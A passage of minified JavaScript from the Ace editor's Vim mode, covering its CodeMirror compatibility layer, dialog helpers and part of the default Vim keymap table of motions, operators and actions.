i=e.getCursor(\"head\"),s=nt.macroModeState.lastInsertModeChanges.inVisualBlock;if(s){var o=e.state.vim,u=o.lastSelection,a=xt(u.anchor,u.head);It(e,i,a.line+1),n=e.listSelections().length,e.setCursor(i)}for(var f=0;f<n;f++){s&&e.setCursor(St(i,f,0));for(var l=0;l<t.length;l++){var c=t[l];if(c instanceof Gn)v.lookupKey(c.keyName,\"vim-insert\",r);else{var h=e.getCursor();e.replaceRange(c,h,h)}}}s&&e.setCursor(St(i,0,1))}function nr(e,t,n){t.length>1&&t[0]==\"n\"&&(t=t.replace(\"numpad\",\"\")),t=tr[t]||t;var r=\"\";return n.ctrlKey&&(r+=\"C-\"),n.altKey&&(r+=\"A-\"),n.shiftKey&&(r+=\"S-\"),r+=t,r.length>1&&(r=\"<\"+r+\">\"),r}function ir(e){var t=new e.constructor;return Object.keys(e).forEach(function(n){var r=e[n];Array.isArray(r)?r=r.slice():r&&typeof r==\"object\"&&r.constructor!=Object&&(r=ir(r)),t[n]=r}),e.sel&&(t.sel={head:e.sel.head&&Lt(e.sel.head),anchor:e.sel.anchor&&Lt(e.sel.anchor)}),t}function sr(e,t,n){var r=!1,i=S.maybeInitVimState_(e),s=i.visualBlock||i.wasInVisualBlock;i.wasInVisualBlock&&!e.ace.inMultiSelectMode?i.wasInVisualBlock=!1:e.ace.inMultiSelectMode&&i.visualBlock&&(i.wasInVisualBlock=!0);if(t==\"<Esc>\"&&!i.insertMode&&!i.visualMode&&e.ace.inMultiSelectMode)e.ace.exitMultiSelectMode();else if(s||!e.ace.inMultiSelectMode||e.ace.inVirtualSelectionMode)r=S.handleKey(e,t,n);else{var o=ir(i);e.operation(function(){e.ace.forEachSelection(function(){var i=e.ace.selection;e.state.vim.lastHPos=i.$desiredColumn==null?i.lead.column:i.$desiredColumn;var s=e.getCursor(\"head\"),u=e.getCursor(\"anchor\"),a=Ot(s,u)?0:-1,f=Ot(s,u)?-1:0;s=St(s,0,a),u=St(u,0,f),e.state.vim.sel.head=s,e.state.vim.sel.anchor=u,r=rr(e,t,n),i.$desiredColumn=e.state.vim.lastHPos==-1?null:e.state.vim.lastHPos,e.virtualSelectionMode()&&(e.state.vim=ir(o))}),e.curOp.cursorActivity&&!r&&(e.curOp.cursorActivity=!1)},!0)}return r}function ar(e,t){t.off(\"beforeEndOperation\",ar);var n=t.state.cm.vimCmd;n&&t.execCommand(n.exec?n:n.name,n.args),t.curOp=t.prevOp}var i=e(\"../range\").Range,s=e(\"../lib/event_emitter\").EventEmitter,o=e(\"../lib/dom\"),u=e(\"../lib/oop\"),a=e(\"../lib/keys\"),f=e(\"../lib/event\"),l=e(\"../search\").Search,c=e(\"../lib/useragent\"),h=e(\"../search_highlight\").SearchHighlight,p=e(\"../commands/multi_select_commands\"),d=e(\"../mode/text\").Mode.prototype.tokenRe;e(\"../multi_select\");var v=function(e){this.ace=e,this.state={},this.marks={},this.$uid=0,this.onChange=this.onChange.bind(this),this.onSelectionChange=this.onSelectionChange.bind(this),this.onBeforeEndOperation=this.onBeforeEndOperation.bind(this),this.ace.on(\"change\",this.onChange),this.ace.on(\"changeSelection\",this.onSelectionChange),this.ace.on(\"beforeEndOperation\",this.onBeforeEndOperation)};v.Pos=function(e,t){if(!(this instanceof E))return new E(e,t);this.line=e,this.ch=t},v.defineOption=function(e,t,n){},v.commands={redo:function(e){e.ace.redo()},undo:function(e){e.ace.undo()},newlineAndIndent:function(e){e.ace.insert(\"\\n\")}},v.keyMap={},v.addClass=v.rmClass=v.e_stop=function(){},v.keyName=function(e){if(e.key)return e.key;var t=a[e.keyCode]||\"\";return t.length==1&&(t=t.toUpperCase()),t=f.getModifierString(e).replace(/(^|-)\\w/g,function(e){return e.toUpperCase()})+t,t},v.keyMap[\"default\"]=function(e){return function(t){var n=t.ace.commands.commandKeyBinding[e.toLowerCase()];return n&&t.ace.execCommand(n)!==!1}},v.lookupKey=function fr(e,t,n){typeof t==\"string\"&&(t=v.keyMap[t]);var r=typeof t==\"function\"?t(e):t[e];if(r===!1)return\"nothing\";if(r===\"...\")return\"multi\";if(r!=null&&n(r))return\"handled\";if(t.fallthrough){if(!Array.isArray(t.fallthrough))return fr(e,t.fallthrough,n);for(var i=0;i<t.fallthrough.length;i++){var s=fr(e,t.fallthrough[i],n);if(s)return s}}},v.signal=function(e,t,n){return e._signal(t,n)},v.on=f.addListener,v.off=f.removeListener,v.isWordChar=function(e){return e<\"\"?/^\\w$/.test(e):(d.lastIndex=0,d.test(e))},function(){u.implement(v.prototype,s),this.destroy=function(){this.ace.off(\"change\",this.onChange),this.ace.off(\"changeSelection\",this.onSelectionChange),this.ace.off(\"beforeEndOperation\",this.onBeforeEndOperation),this.removeOverlay()},this.virtualSelectionMode=function(){return this.ace.inVirtualSelectionMode&&this.ace.selection.index},this.onChange=function(e){if(e.action[0]==\"i\"){var t={text:e.lines},n=this.curOp=this.curOp||{};n.changeHandlers||(n.changeHandlers=this._eventRegistry.change&&this._eventRegistry.change.slice());if(this.virtualSelectionMode())return;n.lastChange?n.lastChange.next=n.lastChange=t:n.lastChange=n.change=t}this.$updateMarkers(e)},this.onSelectionChange=function(){var e=this.curOp=this.curOp||{};e.cursorActivityHandlers||(e.cursorActivityHandlers=this._eventRegistry.cursorActivity&&this._eventRegistry.cursorActivity.slice()),this.curOp.cursorActivity=!0,this.ace.inMultiSelectMode&&this.ace.keyBinding.removeKeyboardHandler(p.keyboardHandler)},this.operation=function(e,t){if(!t&&this.curOp||t&&this.curOp&&this.curOp.force)return e();(t||!this.ace.curOp)&&this.curOp&&this.onBeforeEndOperation();if(!this.ace.curOp){var n=this.ace.prevOp;this.ace.startOperation({command:{name:\"vim\",scrollIntoView:\"cursor\"}})}var r=this.curOp=this.curOp||{};this.curOp.force=t;var i=e();return this.ace.curOp&&this.ace.curOp.command.name==\"vim\"&&(this.ace.endOperation(),!r.cursorActivity&&!r.lastChange&&n&&(this.ace.prevOp=n)),(t||!this.ace.curOp)&&this.curOp&&this.onBeforeEndOperation(),i},this.onBeforeEndOperation=function(){var e=this.curOp;e&&(e.change&&this.signal(\"change\",e.change,e),e&&e.cursorActivity&&this.signal(\"cursorActivity\",null,e),this.curOp=null)},this.signal=function(e,t,n){var r=n?n[e+\"Handlers\"]:(this._eventRegistry||{})[e];if(!r)return;r=r.slice();for(var i=0;i<r.length;i++)r[i](this,t)},this.firstLine=function(){return 0},this.lastLine=function(){return this.ace.session.getLength()-1},this.lineCount=function(){return this.ace.session.getLength()},this.setCursor=function(e,t){typeof e==\"object\"&&(t=e.ch,e=e.line),this.ace.inVirtualSelectionMode||this.ace.exitMultiSelectMode(),this.ace.session.unfold({row:e,column:t}),this.ace.selection.moveTo(e,t)},this.getCursor=function(e){var t=this.ace.selection,n=e==\"anchor\"?t.isEmpty()?t.lead:t.anchor:e==\"head\"||!e?t.lead:t.getRange()[e];return g(n)},this.listSelections=function(e){var t=this.ace.multiSelect.rangeList.ranges;return!t.length||this.ace.inVirtualSelectionMode?[{anchor:this.getCursor(\"anchor\"),head:this.getCursor(\"head\")}]:t.map(function(e){return{anchor:this.clipPos(g(e.cursor==e.end?e.start:e.end)),head:this.clipPos(g(e.cursor))}},this)},this.setSelections=function(e,t){var n=this.ace.multiSelect,r=e.map(function(e){var t=m(e.anchor),n=m(e.head),r=i.comparePoints(t,n)<0?new i.fromPoints(t,n):new i.fromPoints(n,t);return r.cursor=i.comparePoints(r.start,n)?r.end:r.start,r});if(this.ace.inVirtualSelectionMode){this.ace.selection.fromOrientedRange(r[0]);return}t?r[t]&&r.push(r.splice(t,1)[0]):r=r.reverse(),n.toSingleRange(r[0].clone());var s=this.ace.session;for(var o=0;o<r.length;o++){var u=s.$clipRangeToDocument(r[o]);n.addRange(u)}},this.setSelection=function(e,t,n){var r=this.ace.selection;r.moveTo(e.line,e.ch),r.selectTo(t.line,t.ch),n&&n.origin==\"*mouse\"&&this.onBeforeEndOperation()},this.somethingSelected=function(e){return!this.ace.selection.isEmpty()},this.clipPos=function(e){var t=this.ace.session.$clipPositionToDocument(e.line,e.ch);return g(t)},this.markText=function(e){return{clear:function(){},find:function(){}}},this.$updateMarkers=function(e){var t=e.action==\"insert\",n=e.start,r=e.end,s=(r.row-n.row)*(t?1:-1),o=(r.column-n.column)*(t?1:-1);t&&(r=n);for(var u in this.marks){var a=this.marks[u],f=i.comparePoints(a,n);if(f<0)continue;if(f===0&&t){if(a.bias!=1){a.bias==-1;continue}f=1}var l=t?f:i.comparePoints(a,r);if(l>0){a.row+=s,a.column+=a.row==r.row?o:0;continue}!t&&l<=0&&(a.row=n.row,a.column=n.column,l===0&&(a.bias=1))}};var e=function(e,t,n,r){this.cm=e,this.id=t,this.row=n,this.column=r,e.marks[this.id]=this};e.prototype.clear=function(){delete this.cm.marks[this.id]},e.prototype.find=function(){return g(this)},this.setBookmark=function(t,n){var r=new e(this,this.$uid++,t.line,t.ch);if(!n||!n.insertLeft)r.$insertRight=!0;return this.marks[r.id]=r,r},this.moveH=function(e,t){if(t==\"char\"){var n=this.ace.selection;n.clearSelection(),n.moveCursorBy(0,e)}},this.findPosV=function(e,t,n,r){if(n==\"page\"){var i=this.ace.renderer,s=i.layerConfig;t*=Math.floor(s.height/s.lineHeight),n=\"line\"}if(n==\"line\"){var o=this.ace.session.documentToScreenPosition(e.line,e.ch);r!=null&&(o.column=r),o.row+=t,o.row=Math.min(Math.max(0,o.row),this.ace.session.getScreenLength()-1);var u=this.ace.session.screenToDocumentPosition(o.row,o.column);return g(u)}debugger},this.charCoords=function(e,t){if(t==\"div\"||!t){var n=this.ace.session.documentToScreenPosition(e.line,e.ch);return{left:n.column,top:n.row}}if(t==\"local\"){var r=this.ace.renderer,n=this.ace.session.documentToScreenPosition(e.line,e.ch),i=r.layerConfig.lineHeight,s=r.layerConfig.characterWidth,o=i*n.row;return{left:n.column*s,top:o,bottom:o+i}}},this.coordsChar=function(e,t){var n=this.ace.renderer;if(t==\"local\"){var r=Math.max(0,Math.floor(e.top/n.lineHeight)),i=Math.max(0,Math.floor(e.left/n.characterWidth)),s=n.session.screenToDocumentPosition(r,i);return g(s)}if(t==\"div\")throw\"not implemented\"},this.getSearchCursor=function(e,t,n){var r=!1,i=!1;e instanceof RegExp&&!e.global&&(r=!e.ignoreCase,e=e.source,i=!0);var s=new l;t.ch==undefined&&(t.ch=Number.MAX_VALUE);var o={row:t.line,column:t.ch},u=this,a=null;return{findNext:function(){return this.find(!1)},findPrevious:function(){return this.find(!0)},find:function(t){s.setOptions({needle:e,caseSensitive:r,wrap:!1,backwards:t,regExp:i,start:a||o});var n=s.find(u.ace.session);return n&&n.isEmpty()&&u.getLine(n.start.row).length==n.start.column&&(s.$options.start=n,n=s.find(u.ace.session)),a=n,a},from:function(){return a&&g(a.start)},to:function(){return a&&g(a.end)},replace:function(e){a&&(a.end=u.ace.session.doc.replace(a,e))}}},this.scrollTo=function(e,t){var n=this.ace.renderer,r=n.layerConfig,i=r.maxHeight;i-=(n.$size.scrollerHeight-n.lineHeight)*n.$scrollPastEnd,t!=null&&this.ace.session.setScrollTop(Math.max(0,Math.min(t,i))),e!=null&&this.ace.session.setScrollLeft(Math.max(0,Math.min(e,r.width)))},this.scrollInfo=function(){return 0},this.scrollIntoView=function(e,t){if(e){var n=this.ace.renderer,r={top:0,bottom:t};n.scrollCursorIntoView(m(e),n.lineHeight*2/n.$size.scrollerHeight,r)}},this.getLine=function(e){return this.ace.session.getLine(e)},this.getRange=function(e,t){return this.ace.session.getTextRange(new i(e.line,e.ch,t.line,t.ch))},this.replaceRange=function(e,t,n){return n||(n=t),this.ace.session.replace(new i(t.line,t.ch,n.line,n.ch),e)},this.replaceSelections=function(e){var t=this.ace.selection;if(this.ace.inVirtualSelectionMode){this.ace.session.replace(t.getRange(),e[0]||\"\");return}t.inVirtualSelectionMode=!0;var n=t.rangeList.ranges;n.length||(n=[this.ace.multiSelect.getRange()]);for(var r=n.length;r--;)this.ace.session.replace(n[r],e[r]||\"\");t.inVirtualSelectionMode=!1},this.getSelection=function(){return this.ace.getSelectedText()},this.getSelections=function(){return this.listSelections().map(function(e){return this.getRange(e.anchor,e.head)},this)},this.getInputField=function(){return this.ace.textInput.getElement()},this.getWrapperElement=function(){return this.ace.containter};var t={indentWithTabs:\"useSoftTabs\",indentUnit:\"tabSize\",tabSize:\"tabSize\",firstLineNumber:\"firstLineNumber\",readOnly:\"readOnly\"};this.setOption=function(e,n){this.state[e]=n;switch(e){case\"indentWithTabs\":e=t[e],n=!n;break;default:e=t[e]}e&&this.ace.setOption(e,n)},this.getOption=function(e,n){var r=t[e];r&&(n=this.ace.getOption(r));switch(e){case\"indentWithTabs\":return e=t[e],!n}return r?n:this.state[e]},this.toggleOverwrite=function(e){return this.state.overwrite=e,this.ace.setOverwrite(e)},this.addOverlay=function(e){if(!this.$searchHighlight||!this.$searchHighlight.session){var t=new h(null,\"ace_highlight-marker\",\"text\"),n=this.ace.session.addDynamicMarker(t);t.id=n.id,t.session=this.ace.session,t.destroy=function(e){t.session.off(\"change\",t.updateOnChange),t.session.off(\"changeEditor\",t.destroy),t.session.removeMarker(t.id),t.session=null},t.updateOnChange=function(e){var n=e.start.row;n==e.end.row?t.cache[n]=undefined:t.cache.splice(n,t.cache.length)},t.session.on(\"changeEditor\",t.destroy),t.session.on(\"change\",t.updateOnChange)}var r=new RegExp(e.query.source,\"gmi\");this.$searchHighlight=e.highlight=t,this.$searchHighlight.setRegexp(r),this.ace.renderer.updateBackMarkers()},this.removeOverlay=function(e){this.$searchHighlight&&this.$searchHighlight.session&&this.$searchHighlight.destroy()},this.getScrollInfo=function(){var e=this.ace.renderer,t=e.layerConfig;return{left:e.scrollLeft,top:e.scrollTop,height:t.maxHeight,width:t.width,clientHeight:t.height,clientWidth:t.width}},this.getValue=function(){return this.ace.getValue()},this.setValue=function(e){return this.ace.setValue(e)},this.getTokenTypeAt=function(e){var t=this.ace.session.getTokenAt(e.line,e.ch);return t&&/comment|string/.test(t.type)?\"string\":\"\"},this.findMatchingBracket=function(e){var t=this.ace.session.findMatchingBracket(m(e));return{to:t&&g(t)}},this.indentLine=function(e,t){t===!0?this.ace.session.indentRows(e,e,\"\t\"):t===!1&&this.ace.session.outdentRows(new i(e,0,e,0))},this.indexFromPos=function(e){return this.ace.session.doc.positionToIndex(m(e))},this.posFromIndex=function(e){return g(this.ace.session.doc.indexToPosition(e))},this.focus=function(e){return this.ace.focus()},this.blur=function(e){return this.ace.blur()},this.defaultTextHeight=function(e){return this.ace.renderer.layerConfig.lineHeight},this.scanForBracket=function(e,t,n,r){var i=r.bracketRegex.source;if(t==1)var s=this.ace.session.$findClosingBracket(i.slice(1,2),m(e),/paren|text/);else var s=this.ace.session.$findOpeningBracket(i.slice(-2,-1),{row:e.line,column:e.ch+1},/paren|text/);return s&&{pos:g(s)}},this.refresh=function(){return this.ace.resize(!0)},this.getMode=function(){return{name:this.getOption(\"mode\")}}}.call(v.prototype);var y=v.StringStream=function(e,t){this.pos=this.start=0,this.string=e,this.tabSize=t||8,this.lastColumnPos=this.lastColumnValue=0,this.lineStart=0};y.prototype={eol:function(){return this.pos>=this.string.length},sol:function(){return this.pos==this.lineStart},peek:function(){return this.string.charAt(this.pos)||undefined},next:function(){if(this.pos<this.string.length)return this.string.charAt(this.pos++)},eat:function(e){var t=this.string.charAt(this.pos);if(typeof e==\"string\")var n=t==e;else var n=t&&(e.test?e.test(t):e(t));if(n)return++this.pos,t},eatWhile:function(e){var t=this.pos;while(this.eat(e));return this.pos>t},eatSpace:function(){var e=this.pos;while(/[\\s\\u00a0]/.test(this.string.charAt(this.pos)))++this.pos;return this.pos>e},skipToEnd:function(){this.pos=this.string.length},skipTo:function(e){var t=this.string.indexOf(e,this.pos);if(t>-1)return this.pos=t,!0},backUp:function(e){this.pos-=e},column:function(){throw\"not implemented\"},indentation:function(){throw\"not implemented\"},match:function(e,t,n){if(typeof e!=\"string\"){var s=this.string.slice(this.pos).match(e);return s&&s.index>0?null:(s&&t!==!1&&(this.pos+=s[0].length),s)}var r=function(e){return n?e.toLowerCase():e},i=this.string.substr(this.pos,e.length);if(r(i)==r(e))return t!==!1&&(this.pos+=e.length),!0},current:function(){return this.string.slice(this.start,this.pos)},hideFirstChars:function(e,t){this.lineStart+=e;try{return t()}finally{this.lineStart-=e}}},v.defineExtension=function(e,t){v.prototype[e]=t},o.importCssString(\".normal-mode .ace_cursor{  border: 1px solid red;  background-color: red;  opacity: 0.5;}.normal-mode .ace_hidden-cursors .ace_cursor{  background-color: transparent;}.ace_dialog {  position: absolute;  left: 0; right: 0;  background: white;  z-index: 15;  padding: .1em .8em;  overflow: hidden;  color: #333;}.ace_dialog-top {  border-bottom: 1px solid #eee;  top: 0;}.ace_dialog-bottom {  border-top: 1px solid #eee;  bottom: 0;}.ace_dialog input {  border: none;  outline: none;  background: transparent;  width: 20em;  color: inherit;  font-family: monospace;}\",\"vimMode\"),function(){function e(e,t,n){var r=e.ace.container,i;return i=r.appendChild(document.createElement(\"div\")),n?i.className=\"ace_dialog ace_dialog-bottom\":i.className=\"ace_dialog ace_dialog-top\",typeof t==\"string\"?i.innerHTML=t:i.appendChild(t),i}function t(e,t){e.state.currentNotificationClose&&e.state.currentNotificationClose(),e.state.currentNotificationClose=t}v.defineExtension(\"openDialog\",function(n,r,i){function a(e){if(typeof e==\"string\")f.value=e;else{if(o)return;o=!0,s.parentNode.removeChild(s),u.focus(),i.onClose&&i.onClose(s)}}if(this.virtualSelectionMode())return;i||(i={}),t(this,null);var s=e(this,n,i.bottom),o=!1,u=this,f=s.getElementsByTagName(\"input\")[0],l;if(f)i.value&&(f.value=i.value,i.select!==!1&&f.select()),i.onInput&&v.on(f,\"input\",function(e){i.onInput(e,f.value,a)}),i.onKeyUp&&v.on(f,\"keyup\",function(e){i.onKeyUp(e,f.value,a)}),v.on(f,\"keydown\",function(e){if(i&&i.onKeyDown&&i.onKeyDown(e,f.value,a))return;if(e.keyCode==27||i.closeOnEnter!==!1&&e.keyCode==13)f.blur(),v.e_stop(e),a();e.keyCode==13&&r(f.value)}),i.closeOnBlur!==!1&&v.on(f,\"blur\",a),f.focus();else if(l=s.getElementsByTagName(\"button\")[0])v.on(l,\"click\",function(){a(),u.focus()}),i.closeOnBlur!==!1&&v.on(l,\"blur\",a),l.focus();return a}),v.defineExtension(\"openNotification\",function(n,r){function a(){if(s)return;s=!0,clearTimeout(o),i.parentNode.removeChild(i)}if(this.virtualSelectionMode())return;t(this,a);var i=e(this,n,r&&r.bottom),s=!1,o,u=r&&typeof r.duration!=\"undefined\"?r.duration:5e3;return v.on(i,\"click\",function(e){v.e_preventDefault(e),a()}),u&&(o=setTimeout(a,u)),a})}();var b=[{keys:\"<Left>\",type:\"keyToKey\",toKeys:\"h\"},{keys:\"<Right>\",type:\"keyToKey\",toKeys:\"l\"},{keys:\"<Up>\",type:\"keyToKey\",toKeys:\"k\"},{keys:\"<Down>\",type:\"keyToKey\",toKeys:\"j\"},{keys:\"<Space>\",type:\"keyToKey\",toKeys:\"l\"},{keys:\"<BS>\",type:\"keyToKey\",toKeys:\"h\",context:\"normal\"},{keys:\"<C-Space>\",type:\"keyToKey\",toKeys:\"W\"},{keys:\"<C-BS>\",type:\"keyToKey\",toKeys:\"B\",context:\"normal\"},{keys:\"<S-Space>\",type:\"keyToKey\",toKeys:\"w\"},{keys:\"<S-BS>\",type:\"keyToKey\",toKeys:\"b\",context:\"normal\"},{keys:\"<C-n>\",type:\"keyToKey\",toKeys:\"j\"},{keys:\"<C-p>\",type:\"keyToKey\",toKeys:\"k\"},{keys:\"<C-[>\",type:\"keyToKey\",toKeys:\"<Esc>\"},{keys:\"<C-c>\",type:\"keyToKey\",toKeys:\"<Esc>\"},{keys:\"<C-[>\",type:\"keyToKey\",toKeys:\"<Esc>\",context:\"insert\"},{keys:\"<C-c>\",type:\"keyToKey\",toKeys:\"<Esc>\",context:\"insert\"},{keys:\"s\",type:\"keyToKey\",toKeys:\"cl\",context:\"normal\"},{keys:\"s\",type:\"keyToKey\",toKeys:\"xi\",context:\"visual\"},{keys:\"S\",type:\"keyToKey\",toKeys:\"cc\",context:\"normal\"},{keys:\"S\",type:\"keyToKey\",toKeys:\"dcc\",context:\"visual\"},{keys:\"<Home>\",type:\"keyToKey\",toKeys:\"0\"},{keys:\"<End>\",type:\"keyToKey\",toKeys:\"$\"},{keys:\"<PageUp>\",type:\"keyToKey\",toKeys:\"<C-b>\"},{keys:\"<PageDown>\",type:\"keyToKey\",toKeys:\"<C-f>\"},{keys:\"<CR>\",type:\"keyToKey\",toKeys:\"j^\",context:\"normal\"},{keys:\"H\",type:\"motion\",motion:\"moveToTopLine\",motionArgs:{linewise:!0,toJumplist:!0}},{keys:\"M\",type:\"motion\",motion:\"moveToMiddleLine\",motionArgs:{linewise:!0,toJumplist:!0}},{keys:\"L\",type:\"motion\",motion:\"moveToBottomLine\",motionArgs:{linewise:!0,toJumplist:!0}},{keys:\"h\",type:\"motion\",motion:\"moveByCharacters\",motionArgs:{forward:!1}},{keys:\"l\",type:\"motion\",motion:\"moveByCharacters\",motionArgs:{forward:!0}},{keys:\"j\",type:\"motion\",motion:\"moveByLines\",motionArgs:{forward:!0,linewise:!0}},{keys:\"k\",type:\"motion\",motion:\"moveByLines\",motionArgs:{forward:!1,linewise:!0}},{keys:\"gj\",type:\"motion\",motion:\"moveByDisplayLines\",motionArgs:{forward:!0}},{keys:\"gk\",type:\"motion\",motion:\"moveByDisplayLines\",motionArgs:{forward:!1}},{keys:\"w\",type:\"motion\",motion:\"moveByWords\",motionArgs:{forward:!0,wordEnd:!1}},{keys:\"W\",type:\"motion\",motion:\"moveByWords\",motionArgs:{forward:!0,wordEnd:!1,bigWord:!0}},{keys:\"e\",type:\"motion\",motion:\"moveByWords\",motionArgs:{forward:!0,wordEnd:!0,inclusive:!0}},{keys:\"E\",type:\"motion\",motion:\"moveByWords\",motionArgs:{forward:!0,wordEnd:!0,bigWord:!0,inclusive:!0}},{keys:\"b\",type:\"motion\",motion:\"moveByWords\",motionArgs:{forward:!1,wordEnd:!1}},{keys:\"B\",type:\"motion\",motion:\"moveByWords\",motionArgs:{forward:!1,wordEnd:!1,bigWord:!0}},{keys:\"ge\",type:\"motion\",motion:\"moveByWords\",motionArgs:{forward:!1,wordEnd:!0,inclusive:!0}},{keys:\"gE\",type:\"motion\",motion:\"moveByWords\",motionArgs:{forward:!1,wordEnd:!0,bigWord:!0,inclusive:!0}},{keys:\"{\",type:\"motion\",motion:\"moveByParagraph\",motionArgs:{forward:!1,toJumplist:!0}},{keys:\"}\",type:\"motion\",motion:\"moveByParagraph\",motionArgs:{forward:!0,toJumplist:!0}},{keys:\"<C-f>\",type:\"motion\",motion:\"moveByPage\",motionArgs:{forward:!0}},{keys:\"<C-b>\",type:\"motion\",motion:\"moveByPage\",motionArgs:{forward:!1}},{keys:\"<C-d>\",type:\"motion\",motion:\"moveByScroll\",motionArgs:{forward:!0,explicitRepeat:!0}},{keys:\"<C-u>\",type:\"motion\",motion:\"moveByScroll\",motionArgs:{forward:!1,explicitRepeat:!0}},{keys:\"gg\",type:\"motion\",motion:\"moveToLineOrEdgeOfDocument\",motionArgs:{forward:!1,explicitRepeat:!0,linewise:!0,toJumplist:!0}},{keys:\"G\",type:\"motion\",motion:\"moveToLineOrEdgeOfDocument\",motionArgs:{forward:!0,explicitRepeat:!0,linewise:!0,toJumplist:!0}},{keys:\"0\",type:\"motion\",motion:\"moveToStartOfLine\"},{keys:\"^\",type:\"motion\",motion:\"moveToFirstNonWhiteSpaceCharacter\"},{keys:\"+\",type:\"motion\",motion:\"moveByLines\",motionArgs:{forward:!0,toFirstChar:!0}},{keys:\"-\",type:\"motion\",motion:\"moveByLines\",motionArgs:{forward:!1,toFirstChar:!0}},{keys:\"_\",type:\"motion\",motion:\"moveByLines\",motionArgs:{forward:!0,toFirstChar:!0,repeatOffset:-1}},{keys:\"$\",type:\"motion\",motion:\"moveToEol\",motionArgs:{inclusive:!0}},{keys:\"%\",type:\"motion\",motion:\"moveToMatchedSymbol\",motionArgs:{inclusive:!0,toJumplist:!0}},{keys:\"f<character>\",type:\"motion\",motion:\"moveToCharacter\",motionArgs:{forward:!0,inclusive:!0}},{keys:\"F<character>\",type:\"motion\",motion:\"moveToCharacter\",motionArgs:{forward:!1}},{keys:\"t<character>\",type:\"motion\",motion:\"moveTillCharacter\",motionArgs:{forward:!0,inclusive:!0}},{keys:\"T<character>\",type:\"motion\",motion:\"moveTillCharacter\",motionArgs:{forward:!1}},{keys:\";\",type:\"motion\",motion:\"repeatLastCharacterSearch\",motionArgs:{forward:!0}},{keys:\",\",type:\"motion\",motion:\"repeatLastCharacterSearch\",motionArgs:{forward:!1}},{keys:\"'<character>\",type:\"motion\",motion:\"goToMark\",motionArgs:{toJumplist:!0,linewise:!0}},{keys:\"`<character>\",type:\"motion\",motion:\"goToMark\",motionArgs:{toJumplist:!0}},{keys:\"]`\",type:\"motion\",motion:\"jumpToMark\",motionArgs:{forward:!0}},{keys:\"[`\",type:\"motion\",motion:\"jumpToMark\",motionArgs:{forward:!1}},{keys:\"]'\",type:\"motion\",motion:\"jumpToMark\",motionArgs:{forward:!0,linewise:!0}},{keys:\"['\",type:\"motion\",motion:\"jumpToMark\",motionArgs:{forward:!1,linewise:!0}},{keys:\"]p\",type:\"action\",action:\"paste\",isEdit:!0,actionArgs:{after:!0,isEdit:!0,matchIndent:!0}},{keys:\"[p\",type:\"action\",action:\"paste\",isEdit:!0,actionArgs:{after:!1,isEdit:!0,matchIndent:!0}},{keys:\"]<character>\",type:\"motion\",motion:\"moveToSymbol\",motionArgs:{forward:!0,toJumplist:!0}},{keys:\"[<character>\",type:\"motion\",motion:\"moveToSymbol\",motionArgs:{forward:!1,toJumplist:!0}},{keys:\"|\",type:\"motion\",motion:\"moveToColumn\"},{keys:\"o\",type:\"motion\",motion:\"moveToOtherHighlightedEnd\",context:\"visual\"},{keys:\"O\",type:\"motion\",motion:\"moveToOtherHighlightedEnd\",motionArgs:{sameLine:!0},context:\"visual\"},{keys:\"d\",type:\"operator\",operator:\"delete\"},{keys:\"y\",type:\"operator\",operator:\"yank\"},{keys:\"c\",type:\"operator\",operator:\"change\"},{keys:\">\",type:\"operator\",operator:\"indent\",operatorArgs:{indentRight:!0}},{keys:\"<\",type:\"operator\",operator:\"indent\",operatorArgs:{indentRight:!1}},{keys:\"g~\",type:\"operator\",operator:\"changeCase\"},{keys:\"gu\",type:\"operator\",operator:\"changeCase\",operatorArgs:{toLower:!0},isEdit:!0},{keys:\"gU\",type:\"operator\",operator:\"changeCase\",operatorArgs:{toLower:!1},isEdit:!0},{keys:\"n\",type:\"motion\",motion:\"findNext\",motionArgs:{forward:!0,toJumplist:!0}},{keys:\"N\",type:\"motion\",motion:\"findNext\",motionArgs:{forward:!1,toJumplist:!0}},{keys:\"x\",type:\"operatorMotion\",operator:\"delete\",motion:\"moveByCharacters\",motionArgs:{forward:!0},operatorMotionArgs:{visualLine:!1}},{keys:\"X\",type:\"operatorMotion\",operator:\"delete\",motion:\"moveByCharacters\",motionArgs:{forward:!1},operatorMotionArgs:{visualLine:!0}},{keys:\"D\",type:\"operatorMotion\",operator:\"delete\",motion:\"moveToEol\",motionArgs:{inclusive:!0},context:\"normal\"},{keys:\"D\",type:\"operator\",operator:\"delete\",operatorArgs:{linewise:!0},context:\"visual\"},{keys:\"Y\",type:\"operatorMotion\",operator:\"yank\",motion:\"moveToEol\",motionArgs:{inclusive:!0},context:\"normal\"},{keys:\"Y\",type:\"operator\",operator:\"yank\",operatorArgs:{linewise:!0},context:\"visual\"},{keys:\"C\",type:\"operatorMotion\",operator:\"change\",motion:\"moveToEol\",motionArgs:{inclusive:!0},context:\"normal\"},{keys:\"C\",type:\"operator\",operator:\"change\",operatorArgs:{linewise:!0},context:\"visual\"},{keys:\"~\",type:\"operatorMotion\",operator:\"changeCase\",motion:\"moveByCharacters\",motionArgs:{forward:!0},operatorArgs:{shouldMoveCursor:!0},context:\"normal\"},{keys:\"~\",type:\"operator\",operator:\"changeCase\",context:\"visual\"},{keys:\"<C-w>\",type:\"operatorMotion\",operator:\"delete\",motion:\"moveByWords\",motionArgs:{forward:!1,wordEnd:!1},context:\"insert\"},{keys:\"<C-i>\",type:\"action\",action:\"jumpListWalk\",actionArgs:{forward:!0}},{keys:\"<C-o>\",type:\"action\",action:\"jumpListWalk\",actionArgs:{forward:!1}},{keys:\"<C-e>\",type:\"action\",action:\"scroll\",actionArgs:{forward:!0,linewise:!0}},{keys:\"<C-y>\",type:\"action\",action:\"scroll\",actionArgs:{forward:!1,linewise:!0}},{keys:\"a\",type:\"action\",action:\"enterInsertMode\",isEdit:!0,actionArgs:{insertAt:\"charAfter\"},context:\"normal\"},{keys:\"A\",type:\"action\",action:\"enterInsertMode\",isEdit:!0,actionArgs:{insertAt:\"eol\"},context:\"normal\"},{keys:\"A\",type:\"action\",action:\"enterInsertMode\",isEdit:!0,actionArgs:{insertAt:\"endOfSelectedArea\"},context:\"visual\"},{keys:\"i\",type:\"action\",action:\"enterInsertMode\",isEdit:!0,actionArgs:{insertAt:\"inplace\"},context:\"normal\"},{keys:\"I\",type:\"action\",action:\"enterInsertMode\",isEdit:!0,actionArgs:{insertAt:\"firstNonBlank\"},context:\"normal\"},{keys:\"I\",type:\"action\",action:\"enterInsertMode\",isEdit:!0,actionArgs:{insertAt:\"startOfSelectedArea\"},context:\"visual\"},{keys:\"o\",type:\"action\",action:\"newLineAndEnterInsertMode\",isEdit:!0,interlaceInsertRepeat:!0,actionArgs:{after:!0},context:\"normal\"},{keys:\"O\",type:\"action\",action:\"newLineAndEnterInsertMo